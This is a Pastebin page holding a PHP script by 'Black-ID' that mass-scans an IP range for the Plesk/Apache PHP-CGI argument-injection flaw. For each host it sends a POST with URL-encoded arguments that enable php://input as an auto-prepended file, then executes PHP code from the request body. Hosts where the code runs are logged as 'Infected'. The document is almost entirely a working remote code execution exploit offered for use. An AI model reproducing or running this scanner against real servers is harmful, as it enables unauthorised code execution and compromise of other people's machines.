Advertisement
Black-ID

Plesk Apache (8.6,9.x) 0day Remote Range Scanner

Jun 8th, 2013
2,312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.81 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. ini_set("default_socket_timeout", 5);
  5.  
  6. function http_send($host, $packet,$cmd)
  7. {
  8.        
  9.     if (($sock = fsockopen($host, 80))){
  10.     fputs($sock, $packet);
  11.     return stream_get_contents($sock);
  12.     }
  13. }
  14. print "\n+----------------------------------------------------------------------+";
  15. print "\n| Plesk Apache (8.6,9.x) 0day Remote Range Scanner By Black-ID         |";
  16. print "\n+----------------------------------------------------------------------+\n";
  17. if ($argc < 2)
  18. {
  19.     print "\nUsage......: php $argv[0] <Start Ip> <End Ip>\n";
  20.     print "\nExample....: php $argv[0] 192.168.1.1 192.168.2.255\n";
  21.     die();
  22. }
  23.  
  24. $start = ip2long($argv[1]);
  25. $end = ip2long($argv[2]);
  26.  
  27. for($ip=$start; $ip<=$end; $ip++)
  28. {
  29.     $host =  long2ip($ip);
  30.     $payload = '<?php echo "Content-Type:text/html\r\n\r\n";echo "___2pac\n"; ?>';
  31.     $arguments = "%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E";
  32.     $path = "%70%68%70%70%61%74%68/%70%68%70";
  33.  
  34.     $packet  = "POST /{$path}?{$arguments} HTTP/1.1\r\n";
  35.     $packet .= "Host: {$host}\r\n";
  36.     $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  37.     $packet .= "Content-Length: ".strlen($payload)."\r\n\r\n{$payload}";
  38.     $response = http_send($host,$packet);
  39.     if(preg_match('/___2pac/', $response, $m)){
  40.     print "[+] $host Infected\n";
  41.     $log = fopen("log.txt","a");
  42.     fwrite($log,"$host\n");
  43.     fclose($log);
  44.     }else{
  45.     print "[-] $host Not Infected\n";
  46.     }
  47. }
  48. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement